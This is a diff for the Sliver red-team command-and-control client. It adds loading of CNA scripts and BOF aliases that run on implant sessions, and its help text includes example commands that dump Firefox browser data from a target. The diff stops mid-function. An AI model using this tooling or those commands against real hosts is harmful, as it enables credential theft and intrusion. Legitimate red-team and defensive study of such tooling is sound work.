@@ -598,7 +699,15 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
case extensionExecutionReflektor:
|
||||
extensionArgs, err = ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
default:
|
||||
// Regular DLL - Just join the arguments with spaces
|
||||
if len(args) > 0 {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
@@ -612,45 +721,15 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
extdata, err := os.ReadFile(binPath)
|
||||
callExtReq, err := buildCallExtensionRequest(goos, goarch, executionMode, ext, binPath, entryPoint, extensionArgs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext read file error: %s\n", err)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
con.PrintErrorf("Could not prepare extension call: %s\n", err)
|
||||
return
|
||||
}
|
||||
bd := sha256.Sum256(extdata)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
if isBOF {
|
||||
//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
|
||||
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
dep, err := extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
depdata, err := os.ReadFile(dep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("dep read file error: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(depdata) == 0 {
|
||||
con.PrintErrorf("read empty file: %s\n", dep)
|
||||
return
|
||||
}
|
||||
bd = sha256.Sum256(depdata)
|
||||
name = hex.EncodeToString(bd[:])
|
||||
} else {
|
||||
// handle error
|
||||
con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: name,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
callExtReq.Request = con.ActiveTarget.Request(cmd)
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), callExtReq)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
@@ -865,37 +944,22 @@ func makeExtensionFlagNameCompletion(extCmd *ExtCommand) carapace.Action {
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
supportedTargets := make(map[string]struct{}, len(extCmd.Files))
|
||||
for _, file := range extCmd.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
supportedTargets[file.OS+"/"+file.Arch] = struct{}{}
|
||||
}
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
// Console command filters are hide-on-match, so annotate the command with
|
||||
// every exact target pair it does not support. A separate fallback hides all
|
||||
// native extensions on target pairs outside the supported loader matrix.
|
||||
filters := []string{consts.NativeExtensionUnsupportedTargetFilter}
|
||||
for _, target := range consts.NativeExtensionTargets() {
|
||||
if _, supported := supportedTargets[target.GOOS+"/"+target.GOARCH]; !supported {
|
||||
filters = append(filters, target.Filter)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
appConsole.CommandFilterKey: strings.Join(all, ","),
|
||||
appConsole.CommandFilterKey: strings.Join(filters, ","),
|
||||
}
|
||||
}
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -100,21 +99,11 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// If path is outside extensions directory, prompt for confirmation
|
||||
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
|
||||
confirm := false
|
||||
_ = forms.Confirm(fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName), &confirm)
|
||||
if !confirm {
|
||||
// Skip the forceRemoveAll but continue with the rest
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
// Only installed extensions are owned by Sliver and may be deleted.
|
||||
// Temporarily loaded extensions can live in arbitrary source directories.
|
||||
if isWithinExtensionsDir(extPath) {
|
||||
forceRemoveAll(extPath)
|
||||
}
|
||||
|
||||
forceRemoveAll(extPath)
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
@@ -124,6 +113,14 @@ func RemoveExtensionByManifestName(manifestName string, con *console.SliverClien
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func isWithinExtensionsDir(extPath string) bool {
|
||||
relPath, err := filepath.Rel(assets.GetExtensionsDir(), extPath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return relPath != "." && filepath.IsLocal(relPath)
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
|
||||
@@ -87,6 +87,7 @@ var (
|
||||
"linux/arm64": true,
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
"windows/arm64": true,
|
||||
}
|
||||
|
||||
ErrNoExternalBuilder = errors.New("no external builders are available")
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -33,12 +34,12 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/gofrs/uuid"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/text/cases"
|
||||
"golang.org/x/text/language"
|
||||
"google.golang.org/protobuf/proto"
|
||||
uuid "uuid"
|
||||
)
|
||||
|
||||
// TrafficEncodersCmd - Generate traffic encoders command implementation.
|
||||
@@ -67,7 +68,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console
|
||||
})
|
||||
allIDs := []uint64{}
|
||||
for _, encoder := range encoderMap.Encoders {
|
||||
isDuplicate := util.Contains(allIDs, encoder.ID)
|
||||
isDuplicate := slices.Contains(allIDs, encoder.ID)
|
||||
allIDs = append(allIDs, encoder.ID)
|
||||
name := encoder.Wasm.Name
|
||||
if isDuplicate {
|
||||
@@ -94,7 +95,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args [
|
||||
}
|
||||
|
||||
skipTests, _ := cmd.Flags().GetBool("skip-tests")
|
||||
testID := uuid.Must(uuid.NewV4()).String()
|
||||
testID := uuid.NewV4().String()
|
||||
trafficEncoder := &clientpb.TrafficEncoder{
|
||||
Wasm: &commonpb.File{
|
||||
Name: filepath.Base(args[0]),
|
||||
|
||||
@@ -59,6 +59,7 @@ var (
|
||||
consts.AIStr: aiHelp,
|
||||
consts.AIConfigStr: aiConfigHelp,
|
||||
consts.DocsStr: docsHelp,
|
||||
consts.OpforStr: opforHelp,
|
||||
consts.CatStr: catHelp,
|
||||
consts.EditStr: editHelp,
|
||||
consts.HexEditStr: hexEditHelp,
|
||||
@@ -178,6 +179,32 @@ _=/usr/bin/env
|
||||
ai
|
||||
`
|
||||
|
||||
opforHelp = `[[.Bold]]Command:[[.Normal]] opfor [script.cna|subcommand]
|
||||
|
||||
[[.Bold]]About:[[.Normal]] Check, run, or persistently load OPFOR-compatible CNA scripts in the Sliver client. Loaded Beacon aliases are exposed beneath the opfor namespace and use the active session or beacon. This integration intentionally focuses on BOF-oriented scripts and a small set of terminal UI and session APIs; it is not a complete Aggressor Script client implementation.
|
||||
|
||||
[[.Bold]]Modes:[[.Normal]]
|
||||
check compiles a CNA without executing any top-level code.
|
||||
run executes top-level code once with trailing arguments in @ARGV, then discards aliases, hooks, and callbacks.
|
||||
load executes top-level initialization and retains aliases, hooks, and callbacks for the lifetime of this client process. A bare CNA path is shorthand for load.
|
||||
help displays beacon_command_register metadata for a loaded alias without invoking it.
|
||||
|
||||
Most BOF CNAs, including FirefoxDump, define an alias at top level. Running such a file only creates and immediately retires that alias; load it, select a target, and invoke the alias to execute its BOF.
|
||||
|
||||
The default operation timeout is 600 seconds. Put --timeout before the alias name so the host consumes it rather than passing it to the CNA command.
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
opfor check ./script.cna
|
||||
opfor run ./script.cna argument
|
||||
opfor load ./firefoxdump.cna
|
||||
opfor help firefoxdump
|
||||
use <session-or-beacon>
|
||||
opfor firefoxdump /all
|
||||
opfor --timeout 900 firefoxdump /all
|
||||
opfor list
|
||||
opfor unload firefoxdump.cna
|
||||
`
|
||||
|
||||
aiConfigHelp = `[[.Bold]]Command:[[.Normal]] ai-config
|
||||
[[.Bold]]About:[[.Normal]] Open a server-side form to update the AI block in server.yaml. The form stores the default provider, model, thinking level, and provider-specific credentials such as the API key and optional base URL.
|
||||
|
||||
|
||||
@@ -540,10 +540,7 @@ func (m *editorModel) ensureCursorVisible() {
|
||||
if m.top < 0 {
|
||||
m.top = 0
|
||||
}
|
||||
maxTop := m.totalLines() - height
|
||||
if maxTop < 0 {
|
||||
maxTop = 0
|
||||
}
|
||||
maxTop := max(m.totalLines()-height, 0)
|
||||
if m.top > maxTop {
|
||||
m.top = maxTop
|
||||
}
|
||||
@@ -725,8 +722,8 @@ func baseName(path string) string {
|
||||
return ""
|
||||
}
|
||||
clean := strings.ReplaceAll(path, "\\", "/")
|
||||
if idx := strings.LastIndex(clean, "/"); idx != -1 {
|
||||
return clean[idx+1:]
|
||||
if _, after, ok := strings.CutLast(clean, "/"); ok {
|
||||
return after
|
||||
}
|
||||
return path
|
||||
}
|
||||
@@ -56,10 +56,7 @@ func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
|
||||
fetchSize := maxSize + 1
|
||||
if fetchSize < maxSize {
|
||||
fetchSize = maxSize
|
||||
}
|
||||
fetchSize := max(maxSize+1, maxSize)
|
||||
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
@@ -88,8 +88,8 @@ func filterCompletionValues(values []string, prefix string) []string {
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
if before, _, ok := strings.Cut(value, "\t"); ok {
|
||||
candidate = before
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
|
||||
@@ -38,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.String("listen", defaultConfig.ListenAddress, "listen address for the MCP server")
|
||||
f.String("name", defaultConfig.ServerName, "server name for MCP initialize")
|
||||
f.String("version", defaultConfig.ServerVersion, "server version for MCP initialize")
|
||||
f.BoolP("yes", "y", false, "skip the prompt-injection confirmation (broken or non-interactive terminals)")
|
||||
})
|
||||
flags.BindFlagCompletions(startCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["transport"] = carapace.ActionValues("http", "sse")
|
||||
|
||||
@@ -32,6 +32,9 @@ func McpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.Printf("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.Printf("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
|
||||
if status.Running && !status.StartedAt.IsZero() {
|
||||
uptime := time.Since(status.StartedAt).Truncate(time.Second)
|
||||
|
||||
@@ -28,8 +28,10 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}.WithDefaults()
|
||||
|
||||
msg := `Do you know what prompt injection is and are you an adult?`
|
||||
if !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
skipConfirm, _ := cmd.Flags().GetBool("yes")
|
||||
if !skipConfirm && !settings.IsUserAnAdultWithPrompt(con, msg) {
|
||||
con.PrintErrorf("Failed to start MCP server, the user is not qualified to use feature\n")
|
||||
con.PrintInfof("Use --yes to skip the confirmation prompt, or toggle it with 'settings autoadult'\n")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -50,4 +52,7 @@ func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if status.AuthToken != "" {
|
||||
con.PrintInfof("Auth Token: %s\n", status.AuthToken)
|
||||
}
|
||||
if status.AuthConfigPath != "" {
|
||||
con.PrintInfof("Auth Config: %s\n", status.AuthConfigPath)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,516 @@
|
||||
//go:build client
|
||||
|
||||
// Package opfor integrates OPFOR-compatible CNA scripting with the Sliver client.
|
||||
package opfor
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
opforengine "github.com/sliverarmory/opfor"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const aliasInvocationTimeout = 10 * time.Minute
|
||||
|
||||
// Commands returns the OPFOR script manager for the implant menu.
|
||||
func Commands(client *console.SliverClient) []*cobra.Command {
|
||||
return []*cobra.Command{managementCommand(client, consts.SliverCoreHelpGroup)}
|
||||
}
|
||||
|
||||
// ServerCommands returns the same persistent script manager in the server
|
||||
// menu. CNA Beacon aliases themselves are registered only on implant roots.
|
||||
func ServerCommands(client *console.SliverClient) []*cobra.Command {
|
||||
return []*cobra.Command{managementCommand(client, consts.GenericHelpGroup)}
|
||||
}
|
||||
|
||||
func managementCommand(client *console.SliverClient, groupID string) *cobra.Command {
|
||||
command := &cobra.Command{
|
||||
Use: consts.OpforStr + " [script.cna]",
|
||||
Short: "Load and manage OPFOR CNA scripts",
|
||||
Long: help.GetHelpFor([]string{consts.OpforStr}),
|
||||
GroupID: groupID,
|
||||
Args: cobra.ArbitraryArgs,
|
||||
RunE: func(command *cobra.Command, args []string) error {
|
||||
return runManagementCommand(command, client, args)
|
||||
},
|
||||
}
|
||||
command.PersistentFlags().Int64P(
|
||||
"timeout",
|
||||
"t",
|
||||
int64(aliasInvocationTimeout/time.Second),
|
||||
"OPFOR operation timeout in seconds (place before a dynamic alias name)",
|
||||
)
|
||||
// The first non-flag token is a CNA alias (or convenience script path).
|
||||
// Everything after it belongs to the script, including flag-like tokens.
|
||||
command.Flags().SetInterspersed(false)
|
||||
|
||||
load := &cobra.Command{
|
||||
Use: "load <script.cna>",
|
||||
Short: "Execute and retain a CNA's aliases, hooks, and callbacks",
|
||||
Args: cobra.ExactArgs(1),
|
||||
RunE: func(command *cobra.Command, args []string) error {
|
||||
return loadScriptCommand(command, client, args[0])
|
||||
},
|
||||
}
|
||||
run := &cobra.Command{
|
||||
Use: "run <script.cna> [arguments...]",
|
||||
Short: "Execute a CNA once and discard its registrations",
|
||||
Args: cobra.MinimumNArgs(1),
|
||||
RunE: func(command *cobra.Command, args []string) error {
|
||||
return runScriptCommand(command, client, args[0], args[1:])
|
||||
},
|
||||
}
|
||||
// Tokens after the script path belong to @ARGV, including flag-like ones.
|
||||
run.Flags().SetInterspersed(false)
|
||||
check := &cobra.Command{
|
||||
Use: "check <script.cna>",
|
||||
Short: "Compile a CNA without executing it",
|
||||
Args: cobra.ExactArgs(1),
|
||||
RunE: func(command *cobra.Command, args []string) error {
|
||||
return checkScriptCommand(command, client, args[0])
|
||||
},
|
||||
}
|
||||
aliasHelp := &cobra.Command{
|
||||
Use: "help <alias>",
|
||||
Short: "Show help registered for a loaded CNA alias",
|
||||
Args: cobra.ExactArgs(1),
|
||||
RunE: func(command *cobra.Command, args []string) error {
|
||||
return helpAliasCommand(command, client, args[0])
|
||||
},
|
||||
}
|
||||
unload := &cobra.Command{
|
||||
Use: "unload <script.cna>",
|
||||
Short: "Unload a CNA script and retire its aliases",
|
||||
Args: cobra.ExactArgs(1),
|
||||
RunE: func(command *cobra.Command, args []string) error {
|
||||
return unloadScriptCommand(command, client, args[0])
|
||||
},
|
||||
}
|
||||
list := &cobra.Command{
|
||||
Use: "list",
|
||||
Short: "List loaded CNA scripts by absolute path",
|
||||
Args: cobra.NoArgs,
|
||||
RunE: func(command *cobra.Command, _ []string) error {
|
||||
return listScriptsCommand(command, client)
|
||||
},
|
||||
}
|
||||
command.AddCommand(check, aliasHelp, load, unload, list, run)
|
||||
return command
|
||||
}
|
||||
|
||||
func runManagementCommand(command *cobra.Command, client *console.SliverClient, args []string) error {
|
||||
if _, err := configuredCommandTimeout(command); err != nil {
|
||||
return err
|
||||
}
|
||||
if len(args) == 0 {
|
||||
return command.Help()
|
||||
}
|
||||
if len(args) == 1 && strings.EqualFold(filepath.Ext(args[0]), ".cna") {
|
||||
return loadScriptCommand(command, client, args[0])
|
||||
}
|
||||
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if manager.hasAlias(args[0]) {
|
||||
return manager.runAlias(command, args[0], args[1:])
|
||||
}
|
||||
return fmt.Errorf("opfor: unknown CNA alias %q", args[0])
|
||||
}
|
||||
|
||||
func loadScriptCommand(command *cobra.Command, client *console.SliverClient, path string) error {
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
previousAliases := manager.aliasBindingCounts()
|
||||
ctx, cancel, err := commandTimeoutContext(command)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer cancel()
|
||||
absolute, err := manager.Load(ctx, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manager.output.PrintSuccessf("Loaded CNA script %s\n", absolute)
|
||||
currentAliases := manager.aliasBindingCounts()
|
||||
aliases := make([]string, 0)
|
||||
for _, alias := range manager.aliasNames() {
|
||||
if currentAliases[alias] > previousAliases[alias] && !reservedManagementAlias(alias) {
|
||||
aliases = append(aliases, alias)
|
||||
}
|
||||
}
|
||||
if len(aliases) == 0 {
|
||||
manager.output.PrintInfof("The script is retained for this client process; it registered no invokable Beacon aliases\n")
|
||||
return nil
|
||||
}
|
||||
manager.output.PrintInfof("Registered CNA aliases:\n")
|
||||
for _, alias := range aliases {
|
||||
manager.output.Printf(" opfor %s\n", alias)
|
||||
}
|
||||
manager.output.PrintInfof("View CNA alias help:\n")
|
||||
for _, alias := range aliases {
|
||||
manager.output.Printf(" opfor help %s\n", alias)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func reservedManagementAlias(name string) bool {
|
||||
switch name {
|
||||
case "check", "help", "list", "load", "run", "unload":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func runScriptCommand(command *cobra.Command, client *console.SliverClient, path string, arguments []string) error {
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
ctx, cancel, err := commandTimeoutContext(command)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer cancel()
|
||||
_, err = manager.Run(ctx, path, arguments)
|
||||
return err
|
||||
}
|
||||
|
||||
func checkScriptCommand(command *cobra.Command, client *console.SliverClient, path string) error {
|
||||
if _, err := configuredCommandTimeout(command); err != nil {
|
||||
return err
|
||||
}
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := manager.Check(path); err != nil {
|
||||
return err
|
||||
}
|
||||
manager.output.Printf("%s: ok\n", path)
|
||||
return nil
|
||||
}
|
||||
|
||||
func helpAliasCommand(command *cobra.Command, client *console.SliverClient, name string) error {
|
||||
if _, err := configuredCommandTimeout(command); err != nil {
|
||||
return err
|
||||
}
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
metadata, err := manager.aliasMetadata(name)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
description := strings.TrimSpace(metadata.Description)
|
||||
if description == "" {
|
||||
description = "CNA-defined Beacon alias"
|
||||
}
|
||||
manager.output.Printf("Command: opfor %s [arguments...]\n\n%s\n", name, description)
|
||||
if detail := strings.TrimSpace(metadata.Detail); detail != "" {
|
||||
manager.output.Printf("\n%s\n", detail)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func unloadScriptCommand(command *cobra.Command, client *console.SliverClient, path string) error {
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
ctx, cancel, err := commandTimeoutContext(command)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer cancel()
|
||||
absolute, err := manager.Unload(ctx, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manager.output.PrintSuccessf("Unloaded CNA script %s\n", absolute)
|
||||
return nil
|
||||
}
|
||||
|
||||
func listScriptsCommand(command *cobra.Command, client *console.SliverClient) error {
|
||||
if _, err := configuredCommandTimeout(command); err != nil {
|
||||
return err
|
||||
}
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
paths := manager.Paths()
|
||||
if len(paths) == 0 {
|
||||
manager.output.PrintInfof("No CNA scripts are loaded\n")
|
||||
return nil
|
||||
}
|
||||
manager.output.PrintInfof("Loaded CNA scripts:\n")
|
||||
for _, path := range paths {
|
||||
manager.output.Printf(" %s\n", path)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// RegisterCommands rehydrates the active CNA Beacon aliases beneath the
|
||||
// implant menu's opfor namespace. Keeping script declarations namespaced avoids
|
||||
// collisions with built-ins such as Sliver's own cat command.
|
||||
func RegisterCommands(root *cobra.Command, client *console.SliverClient) {
|
||||
if root == nil || client == nil {
|
||||
return
|
||||
}
|
||||
manager, err := managerFor(client)
|
||||
if err != nil {
|
||||
client.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
namespace := directChild(root, consts.OpforStr)
|
||||
if namespace == nil {
|
||||
return
|
||||
}
|
||||
manager.commandMu.Lock()
|
||||
manager.mu.Lock()
|
||||
for previous := range manager.roots {
|
||||
if previous == namespace {
|
||||
continue
|
||||
}
|
||||
// A replaced menu root may still be executing asynchronously. Stop
|
||||
// retaining it, but leave its Cobra tree intact for that execution.
|
||||
delete(manager.roots, previous)
|
||||
}
|
||||
if manager.roots[namespace] == nil {
|
||||
manager.roots[namespace] = make(map[string]*cobra.Command)
|
||||
}
|
||||
manager.mu.Unlock()
|
||||
manager.syncRootLocked(namespace)
|
||||
manager.commandMu.Unlock()
|
||||
}
|
||||
|
||||
func (manager *Manager) syncAllRoots() {
|
||||
manager.commandMu.Lock()
|
||||
defer manager.commandMu.Unlock()
|
||||
|
||||
manager.mu.RLock()
|
||||
roots := make([]*cobra.Command, 0, len(manager.roots))
|
||||
for root := range manager.roots {
|
||||
roots = append(roots, root)
|
||||
}
|
||||
manager.mu.RUnlock()
|
||||
for _, root := range roots {
|
||||
manager.syncRootLocked(root)
|
||||
}
|
||||
}
|
||||
|
||||
func (manager *Manager) syncRootLocked(root *cobra.Command) {
|
||||
names := manager.aliasNames()
|
||||
wanted := make(map[string]struct{}, len(names))
|
||||
for _, name := range names {
|
||||
wanted[name] = struct{}{}
|
||||
}
|
||||
|
||||
catalog, _ := manager.runtime.SnapshotAggressorCommandCatalog(opforengine.AggressorCommandBeacon)
|
||||
help := make(map[string]opforengine.AggressorCommandMetadata, len(catalog.Commands))
|
||||
for _, metadata := range catalog.Commands {
|
||||
help[metadata.Name] = metadata
|
||||
}
|
||||
|
||||
manager.mu.Lock()
|
||||
attached := manager.roots[root]
|
||||
if attached == nil {
|
||||
attached = map[string]*cobra.Command{}
|
||||
manager.roots[root] = attached
|
||||
}
|
||||
for name, command := range attached {
|
||||
if _, keep := wanted[name]; keep {
|
||||
continue
|
||||
}
|
||||
root.RemoveCommand(command)
|
||||
delete(attached, name)
|
||||
}
|
||||
manager.mu.Unlock()
|
||||
|
||||
for _, name := range names {
|
||||
metadata := help[name]
|
||||
manager.mu.RLock()
|
||||
existing := attached[name]
|
||||
manager.mu.RUnlock()
|
||||
if existing != nil {
|
||||
applyAliasHelp(existing, metadata)
|
||||
continue
|
||||
}
|
||||
if directChild(root, name) != nil {
|
||||
// A built-in/Armory command wins over an untrusted script declaration.
|
||||
continue
|
||||
}
|
||||
|
||||
aliasName := name
|
||||
command := &cobra.Command{
|
||||
Use: aliasName + " [arguments...]",
|
||||
DisableFlagParsing: true,
|
||||
RunE: func(command *cobra.Command, args []string) error {
|
||||
return manager.runAlias(command, aliasName, args)
|
||||
},
|
||||
}
|
||||
applyAliasHelp(command, metadata)
|
||||
root.AddCommand(command)
|
||||
manager.mu.Lock()
|
||||
attached[aliasName] = command
|
||||
manager.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func directChild(root *cobra.Command, name string) *cobra.Command {
|
||||
for _, child := range root.Commands() {
|
||||
if child.Name() == name {
|
||||
return child
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyAliasHelp(command *cobra.Command, metadata opforengine.AggressorCommandMetadata) {
|
||||
command.Short = metadata.Description
|
||||
if command.Short == "" {
|
||||
command.Short = "CNA-defined Beacon alias"
|
||||
}
|
||||
command.Long = strings.TrimSpace(strings.Join([]string{metadata.Description, metadata.Detail}, "\n\n"))
|
||||
if command.Long == "" {
|
||||
command.Long = command.Short
|
||||
}
|
||||
}
|
||||
|
||||
func (manager *Manager) runAlias(command *cobra.Command, name string, args []string) error {
|
||||
args, timeoutOverride, err := consumeAliasHostArguments(args)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
ctx, cancel, err := commandTimeoutContextWithOverride(command, timeoutOverride)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer cancel()
|
||||
session, beacon := manager.client.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return errorsNewTargetRequired(name)
|
||||
}
|
||||
targetID := ""
|
||||
if session != nil {
|
||||
targetID = session.ID
|
||||
} else {
|
||||
targetID = beacon.ID
|
||||
}
|
||||
|
||||
rawInput := name
|
||||
if len(args) != 0 {
|
||||
rawInput += " " + strings.Join(args, " ")
|
||||
}
|
||||
if err := manager.invokeAlias(ctx, name, rawInput, args, targetID); err != nil {
|
||||
return fmt.Errorf("OPFOR alias %s failed: %w", name, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func consumeAliasHostArguments(args []string) ([]string, time.Duration, error) {
|
||||
remaining := args
|
||||
var timeout time.Duration
|
||||
for len(remaining) != 0 {
|
||||
var value string
|
||||
switch argument := remaining[0]; {
|
||||
case argument == "--":
|
||||
return remaining[1:], timeout, nil
|
||||
case argument == "--timeout" || argument == "-t":
|
||||
if len(remaining) < 2 {
|
||||
return nil, 0, fmt.Errorf("opfor: %s requires a timeout in seconds", argument)
|
||||
}
|
||||
value = remaining[1]
|
||||
remaining = remaining[2:]
|
||||
case strings.HasPrefix(argument, "--timeout="):
|
||||
value = strings.TrimPrefix(argument, "--timeout=")
|
||||
remaining = remaining[1:]
|
||||
case strings.HasPrefix(argument, "-t="):
|
||||
value = strings.TrimPrefix(argument, "-t=")
|
||||
remaining = remaining[1:]
|
||||
default:
|
||||
return remaining, timeout, nil
|
||||
}
|
||||
|
||||
parsed, err := parseAliasTimeout(value)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
timeout = parsed
|
||||
}
|
||||
return remaining, timeout, nil
|
||||
}
|
||||
|
||||
func parseAliasTimeout(value string) (time.Duration, error) {
|
||||
seconds, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || seconds <= 0 || seconds > math.MaxInt64/int64(time.Second) {
|
||||
return 0, fmt.Errorf("opfor: invalid timeout %q; expected positive seconds", value)
|
||||
}
|
||||
return time.Duration(seconds) * time.Second, nil
|
||||
}
|
||||
|
||||
func (manager *Manager) invokeAlias(ctx context.Context, name, rawInput string, arguments []string, targetID string) error {
|
||||
if targetID == "" {
|
||||
return errorsNewTargetRequired(name)
|
||||
}
|
||||
